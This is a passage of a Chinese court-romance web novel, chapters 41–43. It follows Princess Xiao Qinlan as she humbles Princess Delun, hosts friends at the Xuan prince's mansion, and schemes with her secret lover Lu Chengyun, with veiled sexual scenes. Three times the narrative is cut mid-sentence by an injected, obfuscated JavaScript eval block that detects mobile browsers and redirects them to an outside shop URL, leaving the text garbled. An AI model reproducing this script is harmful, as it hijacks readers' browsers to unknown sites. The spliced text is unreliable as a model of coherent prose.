只见一位身披紫色华服、面带轻纱的女子傲然立于其上，与嚣张跋扈的得伦郡主平静对峙。
“你敢打我？”
得伦郡主被突如其来的重击震得耳畔轰鸣，待神志恢复，双眼圆睁，杀意腾腾，马上抽出腰间匕首，想要当街杀人。
萧沁澜站立原地，神态不卑不亢，情绪不急不躁，那双圆润无害的杏眼，淡漠地注视着对方。
寒光乍现，划破空气，伴随着尖锐的风声直逼她胸口，她的身影却稳如磐石，竟轻轻笑出了声。
得伦正欲开口嘲讽，只见萧沁澜身形微侧，动作细微至极，以迅雷不及掩耳之势，精准无误地握住了匕首的刀柄，用力一扭，一股剧痛从得伦的手臂刹那间蔓延至全身，她忍不住发出凄厉的惨叫。
紧接着，“哐当”一声，匕首脱手，恰好落在萧沁澜身后。
“你是谁？”得伦捂住剧痛的手臂，仍努力保持着高傲的姿态，“本宫……”
“啪——”
得伦左手忙不迭地捂住脸颊，怒道：“你竟敢对本宫……”
“啪——”
“你算什么东西，知不知道本宫……”
“啪——”
话语未落，又是一记耳光。
连续挨了三记，得伦再愚钝也意识到，这位绝非善类。
眼见对方又要落下，她急忙用那张已肿胀不堪的脸庞改口说道：“我！我是得伦郡主，皇族的外戚，陛下亲自册封的贤妃。我父亲是兴安伯，母亲是一品诰命。你，你先想清楚再动手！”
见她终于意识到自己的身份分量，萧沁澜神色稍缓，向前两步，不顾因惊恐而后退挣扎的她，细致地为她整理衣襟，“好了，乖，回家向家人哭诉吧。你若不走，本宫可还会动手的哦……”
41. 王爷～～～
“各位少爷、小姐，您们点的龙须凤尾、翠玉芙蓉、金蟾戏珠、玉带虾仁、金菊酿蟹、翠竹报春、锦绣鱼丝……已悉数呈上。若有其他需求，请随时告知，小的即刻为您效劳。”
望清楼三楼雅室内，一桌珍馐美味琳琅满目，每道菜皆色香味俱佳，既有地方特色，也不乏常见佳肴，却因各地大厨的独特烹饪手法与食材选用，风味各异。
“哎呀呀……”萧抒搓着双手，目光在桌上流转，“今日真是沾了陆二公子的光，望清楼的一道菜便价值不菲，我平日里可不敢轻易涉足。现在可好，这些美味，我今日定要一次性吃个痛快！”
“请便。”陆承韫嘴角微扬，语带笑意，“家中产业颇丰，萧兄大可放心品尝。”
言罢，他似自语般轻叹，“水晶莲花酥，与雪衣豆沙，唯有此处能做得甜而不腻，鲜美异常，堪称望清楼一绝，诸位不妨一试。”
“这些精致诱人的糕点，实在不符合我们这群粗犷男儿的口味。承韫，你这分明是别有用心啊！”萧抒狡黠地瞄向末尾处，“那位姑娘，承韫莫非认识？”
明昭王朝尽管风气较为开放，但多数名门闺秀仍深居简出，未曾涉世。
除非才华横溢或容貌出众，否则不会引起太多注意。
此刻被强行安排坐在首位的萧沁澜，正悠悠然倒着来自外邦的马乳酒，漫不经心道：“南门鸢，兴安伯的庶女，得伦郡主的庶姐。自幼便少与外界接触，沉默寡言。家母……”
她话未说完，可那份不言而喻的意味，让人联想颇深。
“公主殿下所言非假。”南门鸢柔柔抚过包扎好的额角，细长的丹凤眼不带半分勾人，反而盈满楚楚可怜。
她缓缓道：“家母本是前朝商贾之女，不幸受夫家牵连，被迫沦落青楼。后逢战乱，又遭叛军侵扰，幸得太祖皇帝率军解救，方得脱险。在疗伤期间，兴安伯……即我父亲，对母亲一见倾心，最终纳她为妾。”
“原来如此。”正匆忙用膳的萧抒听到这段悲转离合，停下了手中动作，局促不安地收回手臂，垂下眼帘，哑口无言。
她的出身，用“卑贱”二字形容，确也不为过。
难怪身为权势滔天的外戚之女，竟无人识得她。
刚才他们分头行事。
除了沁澜当众训诫德伦郡主外，其余人将受伤的她扶起，送入药铺包扎换衣，待一切安顿妥当，才一同来到这梦寐以求的望清楼。
南门鸢作为兴安伯之女，虽甚少外出，却对贤昭公主久有照面。
感受到目光汇聚，她趁机起身，后退几步，“扑通”一声重重跪倒在地，连磕三个响头，恭敬言道：“公主殿下恩重如山，小女无以为报，但求殿下日后若有差遣，万勿嫌弃小女身份卑微，定当竭尽所能，遵从殿下吩咐。”
萧沁澜坦然受礼，待她言毕，方示意本采上前搀扶她起身。
“如今乃休明盛世，四海升平。皇兄名正言顺登基，本宫身为女子，只需娱情解闷便好，并无琐事缠身。不过你今日之言，本宫已铭记于心。相遇即是缘分，日后若有类似之事，尽可来找本宫相助。”
作为当今皇室唯一嫡系血脉的承诺，此已是莫大恩惠，可南门鸢只是淡然作揖谢恩，并未显露出过分喜悦。
此情此景，连超然物外的司空颢也感到心寒。
他抿了一口茶，仿佛随意提及，“得伦郡主乃皇帝亲封贤妃，太后亦无异议。待亦辰自凉州归来复命后，她便会入宫。届时沁澜与她在宫中相遇，是否会因圣宠，而遭遇刁难？”
话音未落，一向寡言的蔫润知忽地情绪激动，抢言道：“她敢！区区一个贤妃而已！兴安伯家既无权也无势，仅有皇亲身份撑腰。他们家丑闻缠身，此时不低调行事，还敢挑衅沁澜？看我不当众击鼓鸣冤，让他们的名字永载申明亭，受千秋万代唾骂！”
“好了，你以为登闻鼓是随便能敲响的吗？”萧沁澜被他逗乐，敲了敲他那略显凌乱的头发。瞧他真的生气，安抚地拍了拍他的肩膀，“‘贤昭’这个封号并非率尔操觚。他们没那胆量，无需为子虚乌有的事烦忧。”
陆承韫眼角余光捕捉到两人互动，紧了紧手心，顺着她劝慰一句。
见她满意挑眉，顿时心情愉悦。
“确然。论及这世间能让臣子无条件敬爱、追随之人，唯有贤昭。
得伦若知今日是贤昭出手，现在恐怕正惶恐不安，生怕陛下降罪。
这世间谁人不知晓陛下与贤昭之间的……深厚情谊。”
萧抒察觉周围人神色微变，话锋一转，急忙收敛，声音渐弱，终至细不可闻。
“你这话，倒像是话本里反派常说的。”司空颢见怪不怪，调笑一句打破尴尬。
萧抒连忙顺着台阶下，“没想到司空你这般痴迷医术之人，也爱看话本，快给我讲讲你最爱的是哪一出……”
友人相聚，氛围轻松，不似家中拘谨。
众人围坐，边吃边聊，话题自然流转。
蔫润知忙着为心上人斟茶递酒，乐此不疲。
见她自然接过一切，便眉眼含笑，大口品尝着自己碗中的美食，不经意间已用去一半，突觉不对，猛然转头望向身旁。
他的碗中……何时有了这般多的菜？
不知何时，南门鸢已与旁人换了座，小心翼翼观察着他，声音中带着几分羞涩与试探，“不合胃口吗？王爷有何偏好？”
这就看上了？
萧沁澜视线在二人间流转，意外观察着。
这京师谁人不知蔫润知的心意，闻言皆停下动作，目光聚焦于这微妙一幕，欲言又止。
“我……我心有所属。”蔫润知环顾四周，最终鼓起勇气直言不讳，却碍于她脆弱的心灵，不敢与之对视。
“嗯，小女明白。”南门鸢体贴地收回视线，双手搭在膝盖上，瘦削的身影显得格外孤单。
“王爷或许已忘怀，当年梧州城破之际，您曾救下被生父遗弃、命悬一线的我。此恩重如山，难以言报。今日有幸重逢，若王爷不以为忤，我愿投身府中，哪怕仅为通房丫鬟，无名无分亦心甘情愿。”
“我……”
蔫润知被这话震惊的连连后退，旋即转身立刻表态，眼睛瞪得溜圆，“我此生誓守一妻之约，白头偕老，一生一世一双人！若违此誓，愿受天谴，万年不得善终！”
＆
宣王府曾盛极一时，府邸布局严谨，坐北朝南，层次分明。
正门高耸，门上镶嵌着金色门钉，两侧立有石狮，威严而庄重。
马车徐徐驶至王府门前，下人们早已列队两侧，等候多时。
一见到久别的贤昭公主，众人下跪齐声高呼：“公主殿下万安！”
声音洪亮，仿佛穿云裂石，余音绕梁，久久不绝。
“嗯，都起来吧。”萧沁澜柔声应允，立即上前搀扶起年迈的管家，眸若繁星，笑着关切询问：“本宫多年未归，不知府
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13281763|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
中旧人是否安好？”
“好，一切都好……”老管家泪光闪烁，声音颤抖，几乎哽咽，“公主殿下安康，便是我们最大的福分，真是再好不过了！”
“本宫一切安好，文叔勿需挂念。”萧沁澜粲然笑着，想要取手帕为老管家拭泪，对方却连连避让。
“这可使不得，公主乃金枝玉叶，尊贵非凡，能心系我们这些老奴，已是莫大的恩泽。这些年若无殿下庇护，我们岂能享有这安宁祥和的生活。”
“文叔客气了。”萧沁澜无奈收回，继而吩咐本采上前搀扶，“文叔自幼便细心照料我与兄长，视如己出。
若非那次我出宫拜祭兄长，巧遇文叔，恐怕您早已随兄长而去。
宣王府尚存的人情温暖，正是我坚持下去的力量源泉。而今文叔欲将一切责任推脱干净，莫不是打算再次离开沁澜吗？”
此言一出，在场仆人无不泪眼婆娑，文叔更是泣难成声，哽咽道：“老奴……我怎会舍得公主……”
眼前这番重逢的悲喜交加，让身后的萧抒心中五味杂陈，“唉，现今能留下的，最小的也已近三十。那可都是随先宣王一同成长的。贤昭情深义重，令我这位兄长都自感惭愧。”
“沁澜不仅人美，心地更是善良。”蔫润知吸了吸鼻子，拭去眼角泪痕，“她还尤为念旧，凡是与她有过交集的，无不喜爱她。”
想起宫中的太后与老臣，司空颢摇头感慨，“只要利益一致，确实如此。”
宣王府气势恢宏，即便门庭冷落，牌匾依旧显赫，门前干净整洁，与四年前繁华无异。
陆承韫端详四周后，视线落在正柔声安慰的倩影上。
她确实与众不同，那份隐藏的野性与深谋远虑尤为迷人，让周围异性心生征服之意，仆从则甘愿无条件追随、信赖。
这样的人物，即便在后宫蹉跎四年，伪装度日，仍引人挂念。
陆承韫看了眼天色，提议道：“天色尚早，既已至此不如入府上香。只是不知道太后是否应允，是否合乎礼仪？”
“此议甚妙！”萧抒拍手赞同，“规矩些应是没问题。你与贤昭自幼相识，定与府中长辈熟识。今日祭拜之余，再叙旧话家常，也让生者心安。我虽晚识贤昭，但对她……”
“什么？”蔫润知骤然身体紧绷，听罢一瞬不瞬地直视着他。
“别多想，都是萧家人，我可没那心思。只是我与贤昭都孤身一人，难免惺惺相惜，同病相怜。这世上的亲情最为珍贵。能得众人挂念，实乃幸事。当然……”
萧抒眉毛轻挑，补充道，“还有至死不渝的爱情！”
听到这里，蔫润知声音一窒，双手无措地交缠在一起，望着前方的身影，想要凑近些……拥入怀中安慰。
“咳咳……”
车内的南门鸢突然剧烈咳嗽起来，身上刚包扎好的伤口再次崩裂，鲜血迅速浸透了绷带。
咳嗽声虽不大，却适时为萧沁澜递去了台阶，“久别重逢，竟忘了南门小姐身体虚弱，不宜吹风。”
文叔抹去眼角的泪水，声音沙哑道：“这位可是殿下请来的贵客？都怪老奴疏忽，未能周全照顾。宣王府邸不妥。旁侧有殿下临时休息的小府邸。若不嫌弃，快请进府吧。”
南门鸢气息微弱，“小女体弱，需人扶持，不知王爷是否介意……”
在场中唯有一人可被称为“王爷”。
话未说完，蔫润知急忙将头摇得像拨浪鼓一般。
42. ………… 颤…………
日已西斜，因急于救人，午膳拖延至未时才匆匆结束。
现下不过申时过半，文叔一番情真意切倾诉后，情绪得以宣泄，得知他们心心念念的殿下不似传言中那般凄苦，便不再相对垂泪，转而忙碌起来。
他吩咐下人一半迎接车上几人入府祭拜，一半去旁侧府邸安置房间，筹备晚膳。
距夜幕低垂尚有时分，既已至宣王府，自无即刻离去之理。
祠堂之内，烛火昼夜不息，耗资之巨，足以支撑寻常人家半年之需。
可就算是将此等奢侈公诸于世，亦不会有任何人非议。
牌位高悬，其上刻着先宣王之名，灵堂布置庄严而肃穆，每一处细节皆显哀思之深。
萧沁澜静立中央，萧抒与蔫润知分立两侧，而司空颢与陆承韫因身份所限，退后几步，以示恭敬。
随侍的丫鬟低垂眼眸，小心翼翼将香递至几人手中。
萧沁澜左手稳握香枝，右手护在其旁，双手高举过头，心绪宁静地将三炷香逐一插入香炉。
每插一香，她便无声默念祈福言语。
仪式毕，她退至蒲团之后，缓缓屈膝跪在蒲团上，双手触碰地面，躬身叩首。
完成首次后，她从容起身，站立片刻复又跪下，与前次无异，再次叩首。
紧接着，她第三次起身跪落，这次额头用力叩击地面，发出低沉回响。
三叩礼成，萧沁澜凝望着那冰冷的牌位，幽暗的眼底浮现淡淡星光。
会好的！都会解决的！
她薄唇紧抿，毅然转身离去，未曾回望。
＆
天色逐渐昏暗，冬日的夜晚总是来得尤为早，空气中弥漫着雾霭，让人感到格外压抑。
“呃……”萧抒依在正厅门扉上，向身后瞥了一眼，“贤昭，今日午膳用得晚了，不如我们先行离开？晚上便不在此用膳了，你意下如何？”
司空颢在宫外自有府邸，也已许久未与几人共聚，闻言沉吟片刻后道：“你或许不了解文叔的性情，他极为感性，壮年时常常与宣王及我们并肩作战，很是念旧。若非有我和沁澜等小辈在侧，文叔早已没了牵挂，追随宣王而去。”
“原来这么忠贞不渝？”萧抒感慨地摇了摇头，“那今日即便吃撑了，我也要留在这里。可我对府中之人多不熟悉，你们千万不要吝啬，务必要一一引荐给我啊！”
萧沁澜作为此间主人，笑着应允道：“那是自然。”
陆承韫紧随其后，也轻轻点头。
唯有蔫润知余光望着她头上那道醒目的红痕，站在适中的距离，双唇紧抿，拳头紧握，几次欲上前又止，内心反复责备自己的怯懦。
萧沁澜端坐中央，察觉到了他的异样。
他多次表白，亦被自己多次拒绝，最后一次言辞过于严厉。
久别重逢，他心中忐忑想要靠近，又恐他人非议。
润知他，真是好懂的很。
厅内气氛微妙，萧抒浑然未觉，他天生乐观，见几人神色各异，便以轻松的口吻聊起天南地北趣事，与府邸间的八卦。
半盏茶后，文叔步伐轻快，带着满脸愉悦的皱纹，乐呵呵地引领几人前去用膳。
路上萧抒与文叔相谈甚欢，聊起家常，重点提及贤昭在朝中有大臣与百姓的支持，过得颇为顺遂。
文叔听后愈发欣喜，连连追问详情。
萧抒则拣选着好听的话一一作答，原本融洽的相处，在踏入膳堂时瞬间沉寂。
正中央满桌琳琅，足有几十道远超宫宴规格的佳肴映入眼帘……
“府中确是久未迎客了。别看这些都是家常菜，却是后厨老纪的拿手好菜，老奴记得殿下十分喜爱。来来来，诸位大人请坐。别愣着，快些周到侍候。”
“家……家常菜？”萧抒重足侧目，呆呆地张大了嘴巴，脸上尽是茫然错愕，差点惊掉了下巴，“只是家常？”
晌午的还未消化，他怎用得完啊！
司空颢神色也略显尴尬，哀愁地叹了口气，无奈耸肩，最终认命地坐在距离菜肴最远的位置上。
萧沁澜早有预料，面色如常就座于首位，对文叔笑着颔首后，从容自若地享用起晚膳……
＆
夜深人静，月色隐匿于云层之后，仅余几点星光，黯淡无比。
萧沁澜沐浴归来，虚弱地倚在床边，任由本采为她擦拭湿润的青丝。
“主子，您向来胃口不大，何时在一天之内食用这样多的食物？若非方才服了催吐药汁，还不知会生什么重病。就算疼惜下属，也没必要折腾自己。”
“胃口小？”萧沁澜气息微弱，难得的疲惫不堪，每说一句话都需喘息，“你是忘了本宫在潜野时，一次能吃下半只烤羊的情景吗？不过今日确是疏忽了，宫中安逸日子过久了，身体久未活动，难免承受不住。往后还要注意，免得误了正事。”
“主子明白就好。”本采欣慰点头，旋即又道：“文叔到底年级大了，许久不见主子，想到的唯一疼爱方式便是投喂。点心与菜肴整整五十四道，最后每盘只剩少半。不止主子，其余几位公子也受苦了。”
“本宫给了他们机会。”想起扶墙离开的一群人，萧沁澜就忍不住幸灾乐祸，“有福同享，有难同当。”
本采附和几句，转而话题一变，“今日主子与醇亲王交谈甚少，王爷离去时神色犹豫，面带失落。”
“润知贤能出众，亲王之位确实委屈了他。”
“主子……”本采擦拭的动作缓了下来，嘴唇微动，似有千言万语，却又止于唇齿。
“不合适。”萧沁澜斩钉截铁，再次阐明立场，“本宫所行之路，注定孤独且布满荆棘，不容半点心软与软肋。太后治国三年，明昭王朝繁荣稳定，百姓安居乐业，新法纪深得人心。此刻正是清除障碍，巩固天下安宁之际。”
“那……陆二公子？”
萧沁澜答得斩钉截铁，“本宫将不遗余力，扫除一切。”
所有妨碍润知登基的障碍。
她话未言尽，补充道，“没有例外。”
本采听罢未再多话。
自家主子性情复杂，既多情，又特别无情。
对下人关怀备至，却从不鼓励无谓的牺牲。
曾有人急于报恩，不顾自身安危完成任务，仅此一次，却换来主子大怒，闭门绝食两日，任凭谁劝也不听，出来时身形消瘦至极，几近虚脱。
主子曾言：“身居高位者，当以庇护万民为己任。”
自此，无人再敢轻贱生命，而暗卫营及各方势力，对主子的忠诚更胜往昔。
世间高位者众，却无人能及主子这般真心爱民。
思绪间，院外忽有异响，本采即刻警觉起身。
萧沁澜亦有所感，拍了拍她的手背以示安抚，随后起身从梳妆台上取下一枚簪子，静待事态发展。
大事未成之前，她素来惜命，此番出宫亦不例外，随行带了众多暗卫。
能悄无声息进入院内，让暗卫既不出手亦不通报者，也就与她有肌肤之亲的陆承韫。
果然，一人影驻足门外，礼貌地敲了三下门扉。
本采开启房门行礼后退下，将空间留给二人。
屋内，萧沁澜把玩着手中锐利的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13282487|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
簪子，“怎会选择今夜前来？”言罢顺手将用过的毛巾抛给他，复又躺于床内，指尖在湿润的发丝间打转。
她这副随意自若的模样，让陆承韫心中积郁顿消。
他望着手中的毛巾，苦笑摇头，认命地坐在凳上，细心为她梳理每一丝长发。
萧沁澜道：“你与兄长已打过招呼了？”
“下午上香之际，我已提及此事。香火未熄，兄长未加反对。”
“……兄长？你倒是唤得自然。”
“理当如此，迟早之事。”陆承韫眉目间盈满温柔与宠溺。
炭火“噼啪”作响，烛光摇曳，屋内暖意融融，令人不由自主地生出困意。
他的手艺尚属上乘，萧沁澜并无深聊之意，在这如春般的温暖中拉过床边被褥，随意披在身上，抱着枕头换了个舒适的姿势，几欲沉入梦乡。
“啪嗒”一声，她的额头不慎磕在柔软床铺上，突如其来的举动让她猛地回头，杏眼圆睁，“做什么！”
明明是凶巴巴的语气，却因刻意压低的声音，莫名添了几分娇嗔。
萧沁澜意识到自己的失态，懊恼地抿了抿唇，转身重新躺下，拉过被子盖住头脸，只露出一头乌黑长发如墨泼洒。
自己是她名正言顺的夫君，无需客气。
发丝已干，陆承韫放下长巾，开始解衣。
衣料“窸窣”声在静谧中响起，萧沁澜猛然坐直，紧抱被子缩至角落，警惕道：“这可是宫外，你若敢胡来，小心我对你不客气！”
陆承韫自是识得此地，他非好色之徒，本无他念，却忽闻此言，眼神微变，直勾勾望向蜷缩在床榻一角的她。
柔弱，可怜，强装镇定。
墨发披散肩头，眼眸警惕惺忪。
简直让人……意兴勃勃。
“不客气。”陆承韫淡然重复，动作不停。
萧沁澜随口而出，身体虚弱之下未及细思。
她正欲开口辩解，却见陆承韫已褪去外衣，仅着中衣，将外袍叠好置于床头，随后上床，不容分说地将她与被子一并拥入怀中，覆上她的额头，“没生病，为何今日脸色这般苍白？傍晚时分明还好。”
萧沁澜无力与他纠缠，索性倚靠在他温暖的肩头，闭目养神，“我催吐了，你没觉得不适吗？”
“这样啊……”陆承韫情不可遏地勃勃兴动。
雨打芭蕉，攻城略地，好一番风雨飘零后，萧沁澜眼角眉梢皆是潮红，香汗淋漓。
陆承韫恰到好处地钳制，勉强意惬，“回府后，我练了一个时辰的剑，方得空前来。文叔依旧热情如初。”
“嗯……定国公……没有问你今日为何离府……吗？”
“为了兄长，父亲巴不得我时时与你们交好。今日回府，他对我竟比往日和颜悦色了许多。”
“先忍一忍……吧……吧…很快就不必再看他们脸色了…”
陆承韫的势力尚处萌芽，远不及她这般洞察先机。
他才忆起此行目的，“沁澜，你当真打算助我登基？”
“嘶…当然，我们要携手对抗太后与定国公。你做皇帝，我则为……后，母仪天下，享尽……荣…华……”
“登基之路，除兄长外，尚有诸多障碍。宁郡王与靖郡王皆姓萧。还有润知。”
“润知性情温厚，不会与你相争。若你登基，赐他个闲散王爵便是。若仍有顾虑，便让他留在京师，亲自……监…………管……管…………”
“是吗？”陆承韫凝视她，眼神深邃，“人心易变，皇室之中无手足之情。若我欲无后顾之忧，沁澜，再决绝一些吧。”
43. 配平？
晨曦初露，天朗气清，万缕明媚光线如金丝般穿透窗棂，斑驳地洒入室内，映射于轻纱之上。
现下不在宫中，时至辰时，萧沁澜仍未起身，但惯常的生物钟却让她脑海昏沉，继而逐渐清醒。
她伸了伸懒腰，感受到空间拥挤。
身后似有异物，坚硬硌人，在这冬日的寒冷中透着莫名的温暖。
有人胆敢夜宿她的床榻？
是谁这般大胆……
不对！
她目光落于床铺深处，迅速整理思绪。
多年行军生涯，她鲜少为晨起而恼，昨夜与本采交谈正酣，随后陆承韫来访，谈及一些不悦之事。
因后续事务需他亲力操持，她不便直接反驳，便任由自己沉入梦乡。
想通一切，萧沁澜释然于怀，坦坦荡荡地转过身，抬眼望去。
果不其然，撞上了一双既戏谑又温柔的眼睛。
“早。”
“……早。”陆承韫愣了一瞬，被她那自在坦率的态度弄得有些错愕，不由自主地浅笑，声音低沉而略带压抑地回应。
感受到对方的斗志，萧沁澜轻哼一声，伸出手指点了点，“早就醒了？”
“嗯。”这般大胆，陆承韫隐忍地叹了口气，在她发间烙下一吻，“可以吗？现在还早。”
“你昨晚未曾回去？”
“明面上，我们并无过多交集。况且我父亲最近得知了些消息，正忙着部署，不会过问我的行踪。”
“哦……”萧沁澜已猜到是何事，懒得挑明。
宽敞的床铺被占去一半，她眉眼略显不悦，“今夜你还会留下？”
“不希望我留下？”陆承韫抬手托起她的下巴，直直俯望着她，一瞬不瞬，等待回答。
“怎么会。”萧沁澜泰然自若地握住他的手背，“冬夜既寒凉又漫长，能得一谈心之人，实属难得，我怎会不珍惜。”
“这话，可是真心？”
“难不成……”萧沁澜挑眉，“你要我剖开胸膛，将真心剜给你看不成。”
是个男子都难以承受这突如其来的刺激与折磨。
陆承韫猝不及防，闷哼一声，再次抬眼时，已满是危险，直勾勾锁定始作俑者。
“沁澜，你这是默许了吗？”
言罢，倾首而下，挺身而上……
＆
折腾了一个多时辰后，起床时已近正午。
萧沁澜因常年习武，这点体力消耗对她而言微不足道。
在屋内用过迟到的早膳，她前往正厅，准备见见昨日带回的女子。
……
正厅内，萧沁澜端坐主位，接过本采递上的茶，抿了一口，“身份查清了吗？”
“回禀主子，此人确如她所述，是德伦郡主的庶妹。其母出身卑微，且曾受辱，故而遭遇兴安伯府众姬妾蔑视，境遇甚至不如最低等的丫鬟。”
陆承韫坐在左下侧，听罢问道：“既是连奴婢都活得不如，她何以能忍受至今？直至昨日才被德伦郡主利用？”
这话不假，却到底刻薄难听。
陆承韫除了相貌出众外，其余处处皆不及醇亲王，本采本就对他有所不满，现下更是冷笑回应，
“奴婢卑贱。比奴婢还不如者所生儿女，就算被视作猪狗，也顶着兴安伯府小姐的名头。
再者，南门鸢之母风姿犹存，乃世间罕见的美人。
德伦郡主未封皇妃前，碍于身份无法动手。如今她地位攀升，由郡主变为贤妃，心境自然大不相同。二公子，这样的解释您可满意？”
这样明目张胆的讽刺，再愚钝之人也定能有所察觉。
陆承韫只是随口一说，并无他意，听后非但不恼，反而立即致歉，并澄清道：“怪我言辞不周，让本采姑娘误会了。我原意是问，南门鸢的出现时间与地点是否太过巧合？姑娘能否查知其中缘由？”
“奴婢愚钝，许多事总是后知后觉，多亏主子睿智，提前示警。”本采面带荣光，满是骄傲。
陆承韫问，“结果呢？”
本采答，“目前观察，一切如常。”
“无异常。”陆承韫忽然淡笑出声，眼神意味深长，染着挑逗，望向主位上的萧沁澜。
“世间之事皆有代价，本宫从不轻信巧合。”萧沁澜打断两人间暗戳戳的交锋，摆了摆手，“既然有了变数，就更不可掉以轻心，大错往往源自对小事的忽视。”
“是，主子，奴婢定当谨慎。”
事情急不得，且达成目的尚需时日，萧沁澜将茶盏放置于案上，起身踱至门边，倚门而立，揉着有些酸痛的腰际，沐浴在温暖的红日下，悠悠然道：“南门鸢那边呢？”
“今晨南门鸢前来请安，见主子尚未起身，交代奴婢几句后便退回房中。暗卫们知晓轻重，客房四周皆有人严密监视，南门姑娘至今未有动静。”
“嗯，你再去查看一番，确保万无一失。你心思细腻，那些暗卫或有疏忽，还需你多费心提点。”
“遵命，主子请多保重。”本采目光微闪，瞥了眼一旁安坐的“猪”，随即躬身退下。
厅内空无一人，陆承韫缓缓行至她身后，将她牢牢抵在门边，右手搀扶住她的腰际，细细揉捏着。
两人并肩享受初冬的暖阳。
“以后，我会效仿你的态度，对下人一视同仁，不再轻率言语。”
“为何？”萧沁澜侧头凝视他的侧颜，笑道：“可是被本采的话触动了？”
“她言之有理，我的行事与想法确与你不同。要达到你的境界，非一朝一夕之功。比如，在死士管理与俸禄分配上。”
“别妄自菲薄。”萧沁澜捏住他俊逸的脸庞，带着几分宠溺，“我能情谊分明，只因我财力雄厚。你则不同，你的势力对我来说虽不足道，但你的努力我都看在眼里。做不到我的慷慨是当然之事，无需急躁，岁月会让你成长。”
话说至此，陆承韫垂眸深深凝望着她，终究忍不住再次询问，“论势力、银钱，我皆不及你。你选择不嫁兄长，我尚能理解。他霸道专横，府中更不乏通房丫鬟。但润知深受前朝臣子青睐，论及痴情，往昔的我远不及他。你究竟为何愿与我共度此生？”
萧沁澜未直接回应，踮起脚尖，在他唇上落下一吻，柔声道：“旁人怎样，我无从知晓，但我自幼的喜爱始终如一。润知面容太过稚嫩，非我所愿。”
“……难道我看上去很老吗？”
萧沁澜再次被逗笑，正欲调侃几句，忽闻门房小厮急步而来，通报醇亲王驾到。
她闻言一惊，连忙后退数步，避开陆承韫的触碰，整理着不算凌乱的衣襟。
片刻后，她行若无事，沉稳地吩咐道：“请醇亲王进来吧。”
陆承韫静静立于门边，目光低垂，紧盯着被撞得生疼的手臂，藏匿于光线下的神情凌冽幽暗。
还不够！
想要彻底得到，需再狠一些。
＆
蔫润知抵达府中的动静不小，距离正厅尚远，嚷嚷声就已经清晰可闻。
遥遥以对的客房内，南门鸢虽未听清具体言语
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13297397|135826||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，但那熟悉的声音却让她立刻察觉，匆匆整理好妆容后，迈着莲步不疾不徐向正厅行来。
……
“沁澜快瞧，这是我今早在北街特意为你买的水引。嘿嘿，我还顺了店家的碗回来，记得文华殿那会儿你最爱这一口。快趁热尝尝，面还没坨，汤还热乎着呢，肯定美味。”
话语期间，蔫润知大大咧咧地来到厅内，坐在主位旁，期待地望着她。
“难为你了。”
从北街赶来较远，碗中的面条却仿佛刚出锅般新鲜，他显然费了不少心思。
萧沁澜对食物并不挑剔，只要不过于陈旧便好。
行军途中，这样的面条已经算是奢侈了。
接过筷子，她挑起一缕，细品之下，竟还带着几分嚼劲，并未被汤汁泡得绵软。
知晓皇家规矩甚多，蔫润知并未打扰此刻的宁静，又从食盒中取出几个纸袋，细心地将热气腾腾的小菜逐一摆放整齐，又为她斟上一杯度数极低的果酒，还添置了果脯。
一切安排妥当后，他才满意地望向下方，“承韫今日来得甚早，可曾用过早膳？这里有刚从街上买来的包子，烟火气浓郁，皮薄馅大，沁澜向来喜爱。”
“不必了，我已与……”
话未说完，正埋头无声吃面的萧沁澜突然抬头，瞪了他一眼。
陆承韫深知分寸，被这一瞪，心中的郁结瞬间烟消云散，语气变得柔和，“今日府中早膳丰盛，我已与家人共用过。润知你呢？”
“呃……”蔫润知双手交叠在膝上，不停地揉搓着，几次欲言又止，最终只是合上嘴，低头盯着自己晃动的脚尖，声音细若蚊蚋，“用过了。”
这副委屈又犹豫的模样，萧沁澜再熟悉不过，每当他有心事欲做又不敢时，小动作便层出不穷。
都是一家人，他何必过于拘谨呢？
萧沁澜咽下口中食物，特意拿起食盒，取出多余的一副碗筷亲自为他盛满，将桌上的小菜与包子推向中间，“一起，别拘着。”
“好。”心意相通，得到回应，蔫润知爽快应下，笑容满面地舀起一大勺送入口中，又咬了一大口包子，朝她灿烂一笑。
这温馨的场景，让陆承韫心中刚散去的郁气再次聚拢，他抿了抿薄唇，端起茶盏一饮而尽。
加餐还未用完，南门鸢手提一小食盒步入厅中，眸若秋水，流转间注视着那骤然僵硬的身影上。
自那次坦白心意后，蔫润知便多了份忐忑心虚，好似做了天大错事对不住心上人。
沁澜那次只淡然调侃，未曾直言，但与她相熟的几位皆明了，她于情感与友情上极为纯粹，不容丝毫杂质，一旦发现，便会果断抽身，保持距离。
真是怕什么来什么。
南门鸢追爱倒是颇为大胆，欠身行礼后，不顾对方身份，径直上前，将食盒中的糕点置于他面前。
